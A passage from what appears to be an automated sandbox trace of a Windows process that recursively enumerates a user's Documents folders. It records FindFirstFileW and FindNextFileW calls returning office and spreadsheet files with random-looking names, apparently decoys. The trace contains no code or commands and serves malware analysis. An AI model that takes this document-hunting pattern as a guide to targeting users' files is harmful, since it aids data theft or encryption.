lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x5ee892ad, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x5ee892ad, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0086.371] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7b4050, ftCreationTime.dwHighDateTime=0x1d62b21, ftLastAccessTime.dwLowDateTime=0x159ecde0, ftLastAccessTime.dwHighDateTime=0x1d6331f, ftLastWriteTime.dwLowDateTime=0x159ecde0, ftLastWriteTime.dwHighDateTime=0x1d6331f, nFileSizeHigh=0x0, nFileSizeLow=0x8339, dwReserved0=0x0, dwReserved1=0x0, cFileName="slmtQCK1Eu.xlsx", cAlternateFileName="SLMTQC~1.XLS")) returned 1 [0086.371] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98af55c0, ftCreationTime.dwHighDateTime=0x1d5ed28, ftLastAccessTime.dwLowDateTime=0x12b097e0, ftLastAccessTime.dwHighDateTime=0x1d6078b, ftLastWriteTime.dwLowDateTime=0x12b097e0, ftLastWriteTime.dwHighDateTime=0x1d6078b, nFileSizeHigh=0x0, nFileSizeLow=0xf391, dwReserved0=0x0, dwReserved1=0x0, cFileName="uGneum1wot4o.docx", cAlternateFileName="UGNEUM~1.DOC")) returned 1 [0086.371] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b299280, ftCreationTime.dwHighDateTime=0x1d62f8c, ftLastAccessTime.dwLowDateTime=0x55ab08c0, ftLastAccessTime.dwHighDateTime=0x1d5a9d8, ftLastWriteTime.dwLowDateTime=0x55ab08c0, ftLastWriteTime.dwHighDateTime=0x1d5a9d8, nFileSizeHigh=0x0, nFileSizeLow=0xc072, dwReserved0=0x0, dwReserved1=0x0, cFileName="VOd-mSROd.xlsx", cAlternateFileName="VOD-MS~1.XLS")) returned 1 [0086.371] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb4303bc0, ftCreationTime.dwHighDateTime=0x1d62b7b, ftLastAccessTime.dwLowDateTime=0x8bec5b40, ftLastAccessTime.dwHighDateTime=0x1d625cb, ftLastWriteTime.dwLowDateTime=0x8bec5b40, ftLastWriteTime.dwHighDateTime=0x1d625cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yo-dT72O3-", cAlternateFileName="YO-DT7~1")) returned 1 [0086.371] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a2c4d0, ftCreationTime.dwHighDateTime=0x1d625e0, ftLastAccessTime.dwLowDateTime=0xe7484400, ftLastAccessTime.dwHighDateTime=0x1d62778, ftLastWriteTime.dwLowDateTime=0xe7484400, ftLastWriteTime.dwHighDateTime=0x1d62778, nFileSizeHigh=0x0, nFileSizeLow=0x12fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z 3 OfXkyD95x_aeC.pps", cAlternateFileName="Z3OFXK~1.PPS")) returned 1 [0086.371] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab7f900, ftCreationTime.dwHighDateTime=0x1d5e990, ftLastAccessTime.dwLowDateTime=0xcae163b0, ftLastAccessTime.dwHighDateTime=0x1d6147b, ftLastWriteTime.dwLowDateTime=0xcae163b0, ftLastWriteTime.dwHighDateTime=0x1d6147b, nFileSizeHigh=0x0, nFileSizeLow=0x13ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZBHwoG0v XRuX0 c7L.xlsx", cAlternateFileName="ZBHWOG~1.XLS")) returned 1 [0086.371] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3a3fd0, ftCreationTime.dwHighDateTime=0x1d5fbcf, ftLastAccessTime.dwLowDateTime=0x3e073820, ftLastAccessTime.dwHighDateTime=0x1d621eb, ftLastWriteTime.dwLowDateTime=0x3e073820, ftLastWriteTime.dwHighDateTime=0x1d621eb, nFileSizeHigh=0x0, nFileSizeLow=0x154a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZIiwHk rzy8738q.xlsx", cAlternateFileName="ZIIWHK~1.XLS")) returned 1 [0086.371] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dd6230, ftCreationTime.dwHighDateTime=0x1d626e0, ftLastAccessTime.dwLowDateTime=0x3e0d97f0, ftLastAccessTime.dwHighDateTime=0x1d62755, ftLastWriteTime.dwLowDateTime=0x3e0d97f0, ftLastWriteTime.dwHighDateTime=0x1d62755, nFileSizeHigh=0x0, nFileSizeLow=0x1186, dwReserved0=0x0, dwReserved1=0x0, cFileName="_DXrqG2.xls", cAlternateFileName="")) returned 1 [0086.371] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.371] FindClose (in: hFindFile=0x1ae50610 | out: hFindFile=0x1ae50610) returned 1 [0086.371] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\936-YDa6e2qqw\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49453450, ftCreationTime.dwHighDateTime=0x1d6330a, ftLastAccessTime.dwLowDateTime=0xd7ad7b70, ftLastAccessTime.dwHighDateTime=0x1d62ba4, ftLastWriteTime.dwLowDateTime=0xd7ad7b70, ftLastWriteTime.dwHighDateTime=0x1d62ba4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50bb0 [0086.372] FindNextFileW (in: hFindFile=0x1ae50bb0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49453450, ftCreationTime.dwHighDateTime=0x1d6330a, ftLastAccessTime.dwLowDateTime=0xd7ad7b70, ftLastAccessTime.dwHighDateTime=0x1d62ba4, ftLastWriteTime.dwLowDateTime=0xd7ad7b70, ftLastWriteTime.dwHighDateTime=0x1d62ba4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.372] FindNextFileW (in: hFindFile=0x1ae50bb0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f48e080, ftCreationTime.dwHighDateTime=0x1d62b81, ftLastAccessTime.dwLowDateTime=0xd0f1e4f0, ftLastAccessTime.dwHighDateTime=0x1d6277c, ftLastWriteTime.dwLowDateTime=0xd0f1e4f0, ftLastWriteTime.dwHighDateTime=0x1d6277c, nFileSizeHigh=0x0, nFileSizeLow=0x127c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AhUH4Jiv-.pptx", cAlternateFileName="AHUH4J~1.PPT")) returned 1 [0086.372] FindNextFileW (in: hFindFile=0x1ae50bb0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebceac00, ftCreationTime.dwHighDateTime=0x1d62b95, ftLastAccessTime.dwLowDateTime=0x2e465ea0, ftLastAccessTime.dwHighDateTime=0x1d62b75, ftLastWriteTime.dwLowDateTime=0x2e465ea0, ftLastWriteTime.dwHighDateTime=0x1d62b75, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="q Wd29s3d8TYv", cAlternateFileName="QWD29S~1")) returned 1 [0086.372] FindNextFileW (in: hFindFile=0x1ae50bb0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde35c8e0, ftCreationTime.dwHighDateTime=0x1d62e4b, ftLastAccessTime.dwLowDateTime=0xfbac8690, ftLastAccessTime.dwHighDateTime=0x1d62e44, ftLastWriteTime.dwLowDateTime=0xfbac8690, ftLastWriteTime.dwHighDateTime=0x1d62e44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sHXrGywhKp7", cAlternateFileName="SHXRGY~1")) returned 1 [0086.372] FindNextFileW (in: hFindFile=0x1ae50bb0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde35c8e0, ftCreationTime.dwHighDateTime=0x1d62e4b, ftLastAccessTime.dwLowDateTime=0xfbac8690, ftLastAccessTime.dwHighDateTime=0x1d62e44, ftLastWriteTime.dwLowDateTime=0xfbac8690, ftLastWriteTime.dwHighDateTime=0x1d62e44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sHXrGywhKp7", cAlternateFileName="SHXRGY~1")) returned 0 [0086.372] FindClose (in: hFindFile=0x1ae50bb0 | out: hFindFile=0x1ae50bb0) returned 1 [0086.372] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\936-YDa6e2qqw\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49453450, ftCreationTime.dwHighDateTime=0x1d6330a, ftLastAccessTime.dwLowDateTime=0xd7ad7b70, ftLastAccessTime.dwHighDateTime=0x1d62ba4, ftLastWriteTime.dwLowDateTime=0xd7ad7b70, ftLastWriteTime.dwHighDateTime=0x1d62ba4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50670 [0086.373] FindNextFileW (in: hFindFile=0x1ae50670, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49453450, ftCreationTime.dwHighDateTime=0x1d6330a, ftLastAccessTime.dwLowDateTime=0xd7ad7b70, ftLastAccessTime.dwHighDateTime=0x1d62ba4, ftLastWriteTime.dwLowDateTime=0xd7ad7b70, ftLastWriteTime.dwHighDateTime=0x1d62ba4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.373] FindNextFileW (in: hFindFile=0x1ae50670, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f48e080, ftCreationTime.dwHighDateTime=0x1d62b81, ftLastAccessTime.dwLowDateTime=0xd0f1e4f0, ftLastAccessTime.dwHighDateTime=0x1d6277c, ftLastWriteTime.dwLowDateTime=0xd0f1e4f0, ftLastWriteTime.dwHighDateTime=0x1d6277c, nFileSizeHigh=0x0, nFileSizeLow=0x127c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AhUH4Jiv-.pptx", cAlternateFileName="AHUH4J~1.PPT")) returned 1 [0086.373] FindNextFileW (in: hFindFile=0x1ae50670, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebceac00, ftCreationTime.dwHighDateTime=0x1d62b95, ftLastAccessTime.dwLowDateTime=0x2e465ea0, ftLastAccessTime.dwHighDateTime=0x1d62b75, ftLastWriteTime.dwLowDateTime=0x2e465ea0, ftLastWriteTime.dwHighDateTime=0x1d62b75, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="q Wd29s3d8TYv", cAlternateFileName="QWD29S~1")) returned 1 [0086.373] FindNextFileW (in: hFindFile=0x1ae50670, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde35c8e0, ftCreationTime.dwHighDateTime=0x1d62e4b, ftLastAccessTime.dwLowDateTime=0xfbac8690, ftLastAccessTime.dwHighDateTime=0x1d62e44, ftLastWriteTime.dwLowDateTime=0xfbac8690, ftLastWriteTime.dwHighDateTime=0x1d62e44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sHXrGywhKp7", cAlternateFileName="SHXRGY~1")) returned 1 [0086.373] FindNextFileW (in: hFindFile=0x1ae50670, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde35c8e0, ftCreationTime.dwHighDateTime=0x1d62e4b, ftLastAccessTime.dwLowDateTime=0xfbac8690, ftLastAccessTime.dwHighDateTime=0x1d62e44, ftLastWriteTime.dwLowDateTime=0xfbac8690, ftLastWriteTime.dwHighDateTime=0x1d62e44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sHXrGywhKp7", cAlternateFileName="SHXRGY~1")) returned 0 [0086.373] FindClose (in: hFindFile=0x1ae50670 | out: hFindFile=0x1ae50670) returned 1 [0086.373] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\936-YDa6e2qqw\\q Wd29s3d8TYv\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebceac00, ftCreationTime.dwHighDateTime=0x1d62b95, ftLastAccessTime.dwLowDateTime=0x2e465ea0, ftLastAccessTime.dwHighDateTime=0x1d62b75, ftLastWriteTime.dwLowDateTime=0x2e465ea0, ftLastWriteTime.dwHighDateTime=0x1d62b75, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50250 [0086.373] FindNextFileW (in: hFindFile=0x1ae50250, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebceac00, ftCreationTime.dwHighDateTime=0x1d62b95, ftLastAccessTime.dwLowDateTime=0x2e465ea0, ftLastAccessTime.dwHighDateTime=0x1d62b75, ftLastWriteTime.dwLowDateTime=0x2e465ea0, ftLastWriteTime.dwHighDateTime=0x1d62b75, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.373] FindNextFileW (in: hFindFile=0x1ae50250, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb2f1e40, ftCreationTime.dwHighDateTime=0x1d62a63, ftLastAccessTime.dwLowDateTime=0x11a48760, ftLastAccessTime.dwHighDateTime=0x1d62ce0, ftLastWriteTime.dwLowDateTime=0x11a48760, ftLastWriteTime.dwHighDateTime=0x1d62ce0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7LCBJTkEPB9p z1", cAlternateFileName="7LCBJT~1")) returned 1 [0086.374] FindNextFileW (in: hFindFile=0x1ae50250, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e4bc70, ftCreationTime.dwHighDateTime=0x1d627a9, ftLastAccessTime.dwLowDateTime=0x75fa2ed0, ftLastAccessTime.dwHighDateTime=0x1d62e2b, ftLastWriteTime.dwLowDateTime=0x75fa2ed0, ftLastWriteTime.dwHighDateTime=0x1d62e2b, nFileSizeHigh=0x0, nFileSizeLow=0x8b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EoiWmdr9Tbpv.rtf", cAlternateFileName="EOIWMD~1.RTF")) returned 1 [0086.374] FindNextFileW (in: hFindFile=0x1ae50250, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a4a3320, ftCreationTime.dwHighDateTime=0x1d624b0, ftLastAccessTime.dwLowDateTime=0x20409fe0, ftLastAccessTime.dwHighDateTime=0x1d62f9f, ftLastWriteTime.dwLowDateTime=0x20409fe0, ftLastWriteTime.dwHighDateTime=0x1d62f9f, nFileSizeHigh=0x0, nFileSizeLow=0x13c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="He27.odt", cAlternateFileName="")) returned 1 [0086.374] FindNextFileW (in: hFindFile=0x1ae50250, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32b55d60, ftCreationTime.dwHighDateTime=0x1d622b5, ftLastAccessTime.dwLowDateTime=0x93fd6c0, ftLastAccessTime.dwHighDateTime=0x1d62ff5, ftLastWriteTime.dwLowDateTime=0x93fd6c0, ftLastWriteTime.dwHighDateTime=0x1d62ff5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nm-J3dj fnzdqsFk9", cAlternateFileName="NM-J3D~1")) returned 1 [0086.374] FindNextFileW (in: hFindFile=0x1ae50250, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a0aea0, ftCreationTime.dwHighDateTime=0x1d6277e, ftLastAccessTime.dwLowDateTime=0xc6dcb230, ftLastAccessTime.dwHighDateTime=0x1d628f1, ftLastWriteTime.dwLowDateTime=0xc6dcb230, ftLastWriteTime.dwHighDateTime=0x1d628f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRmwdwi4Rs.csv", cAlternateFileName="QRMWDW~1.CSV")) returned 1 [0086.374] FindNextFileW (in: hFindFile=0x1ae50250, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b42c610, ftCreationTime.dwHighDateTime=0x1d625d1, ftLastAccessTime.dwLowDateTime=0x4a65cba0, ftLastAccessTime.dwHighDateTime=0x1d630fe, ftLastWriteTime.dwLowDateTime=0x4a65cba0, ftLastWriteTime.dwHighDateTime=0x1d630fe, nFileSizeHigh=0x0, nFileSizeLow=0xa1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpRmpFfcB N0A9.doc", cAlternateFileName="TPRMPF~1.DOC")) returned 1 [0086.374] FindNextFileW (in: hFindFile=0x1ae50250, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf611260, ftCreationTime.dwHighDateTime=0x1d6305b, ftLastAccessTime.dwLowDateTime=0x2925cc30, ftLastAccessTime.dwHighDateTime=0x1d626d9, ftLastWriteTime.dwLowDateTime=0x2925cc30, ftLastWriteTime.dwHighDateTime=0x1d626d9, nFileSizeHigh=0x0, nFileSizeLow=0xa718, dwReserved0=0x0, dwReserved1=0x0, cFileName="V5I8Ycb2fcc.ods", cAlternateFileName="V5I8YC~1.ODS")) returned 1 [0086.374] FindNextFileW (in: hFindFile=0x1ae50250, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf611260, ftCreationTime.dwHighDateTime=0x1d6305b, ftLastAccessTime.dwLowDateTime=0x2925cc30, ftLastAccessTime.dwHighDateTime=0x1d626d9, ftLastWriteTime.dwLowDateTime=0x2925cc30, ftLastWriteTime.dwHighDateTime=0x1d626d9, nFileSizeHigh=0x0, nFileSizeLow=0xa718, dwReserved0=0x0, dwReserved1=0x0, cFileName="V5I8Ycb2fcc.ods", cAlternateFileName="V5I8YC~1.ODS")) returned 0 [0086.374] FindClose (in: hFindFile=0x1ae50250 | out: hFindFile=0x1ae50250) returned 1 [0086.374] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\936-YDa6e2qqw\\q Wd29s3d8TYv\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebceac00, ftCreationTime.dwHighDateTime=0x1d62b95, ftLastAccessTime.dwLowDateTime=0x2e465ea0, ftLastAccessTime.dwHighDateTime=0x1d62b75, ftLastWriteTime.dwLowDateTime=0x2e465ea0, ftLastWriteTime.dwHighDateTime=0x1d62b75, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50970 [0086.375] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebceac00, ftCreationTime.dwHighDateTime=0x1d62b95, ftLastAccessTime.dwLowDateTime=0x2e465ea0, ftLastAccessTime.dwHighDateTime=0x1d62b75, ftLastWriteTime.dwLowDateTime=0x2e465ea0, ftLastWriteTime.dwHighDateTime=0x1d62b75, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.375] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb2f1e40, ftCreationTime.dwHighDateTime=0x1d62a63, ftLastAccessTime.dwLowDateTime=0x11a48760, ftLastAccessTime.dwHighDateTime=0x1d62ce0, ftLastWriteTime.dwLowDateTime=0x11a48760, ftLastWriteTime.dwHighDateTime=0x1d62ce0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7LCBJTkEPB9p z1", cAlternateFileName="7LCBJT~1")) returned 1 [0086.375] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e4bc70, ftCreationTime.dwHighDateTime=0x1d627a9, ftLastAccessTime.dwLowDateTime=0x75fa2ed0, ftLastAccessTime.dwHighDateTime=0x1d62e2b, ftLastWriteTime.dwLowDateTime=0x75fa2ed0, ftLastWriteTime.dwHighDateTime=0x1d62e2b, nFileSizeHigh=0x0, nFileSizeLow=0x8b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EoiWmdr9Tbpv.rtf", cAlternateFileName="EOIWMD~1.RTF")) returned 1 [0086.375] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a4a3320, ftCreationTime.dwHighDateTime=0x1d624b0, ftLastAccessTime.dwLowDateTime=0x20409fe0, ftLastAccessTime.dwHighDateTime=0x1d62f9f, ftLastWriteTime.dwLowDateTime=0x20409fe0, ftLastWriteTime.dwHighDateTime=0x1d62f9f, nFileSizeHigh=0x0, nFileSizeLow=0x13c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="He27.odt", cAlternateFileName="")) returned 1 [0086.375] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32b55d60, ftCreationTime.dwHighDateTime=0x1d622b5, ftLastAccessTime.dwLowDateTime=0x93fd6c0, ftLastAccessTime.dwHighDateTime=0x1d62ff5, ftLastWriteTime.dwLowDateTime=0x93fd6c0, ftLastWriteTime.dwHighDateTime=0x1d62ff5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nm-J3dj fnzdqsFk9", cAlternateFileName="NM-J3D~1")) returned 1 [0086.375] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a0aea0, ftCreationTime.dwHighDateTime=0x1d6277e, ftLastAccessTime.dwLowDateTime=0xc6dcb230, ftLastAccessTime.dwHighDateTime=0x1d628f1, ftLastWriteTime.dwLowDateTime=0xc6dcb230, ftLastWriteTime.dwHighDateTime=0x1d628f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRmwdwi4Rs.csv", cAlternateFileName="QRMWDW~1.CSV")) returned 1 [0086.375] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b42c610, ftCreationTime.dwHighDateTime=0x1d625d1, ftLastAccessTime.dwLowDateTime=0x4a65cba0, ftLastAccessTime.dwHighDateTime=0x1d630fe, ftLastWriteTime.dwLowDateTime=0x4a65cba0, ftLastWriteTime.dwHighDateTime=0x1d630fe, nFileSizeHigh=0x0, nFileSizeLow=0xa1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpRmpFfcB N0A9.doc", cAlternateFileName="TPRMPF~1.DOC")) returned 1 [0086.375] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf611260, ftCreationTime.dwHighDateTime=0x1d6305b, ftLastAccessTime.dwLowDateTime=0x2925cc30, ftLastAccessTime.dwHighDateTime=0x1d626d9, ftLastWriteTime.dwLowDateTime=0x2925cc30, ftLastWriteTime.dwHighDateTime=0x1d626d9, nFileSizeHigh=0x0, nFileSizeLow=0xa718, dwReserved0=0x0, dwReserved1=0x0, cFileName="V5I8Ycb2fcc.ods", cAlternateFileName="V5I8YC~1.ODS")) returned 1 [0086.375] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.376] FindClose (in: hFindFile=0x1ae50970 | out: hFindFile=0x1ae50970) returned 1 [0086.376] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\936-YDa6e2qqw\\q Wd29s3d8TYv\\7LCBJTkEPB9p z1\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb2f1e40, ftCreationTime.dwHighDateTime=0x1d62a63, ftLastAccessTime.dwLowDateTime=0x11a48760, ftLastAccessTime.dwHighDateTime=0x1d62ce0, ftLastWriteTime.dwLowDateTime=0x11a48760, ftLastWriteTime.dwHighDateTime=0x1d62ce0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50850 [0086.376] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb2f1e40, ftCreationTime.dwHighDateTime=0x1d62a63, ftLastAccessTime.dwLowDateTime=0x11a48760, ftLastAccessTime.dwHighDateTime=0x1d62ce0, ftLastWriteTime.dwLowDateTime=0x11a48760, ftLastWriteTime.dwHighDateTime=0x1d62ce0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.376] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99262450, ftCreationTime.dwHighDateTime=0x1d6277c, ftLastAccessTime.dwLowDateTime=0x8a6d1cc0, ftLastAccessTime.dwHighDateTime=0x1d628d5, 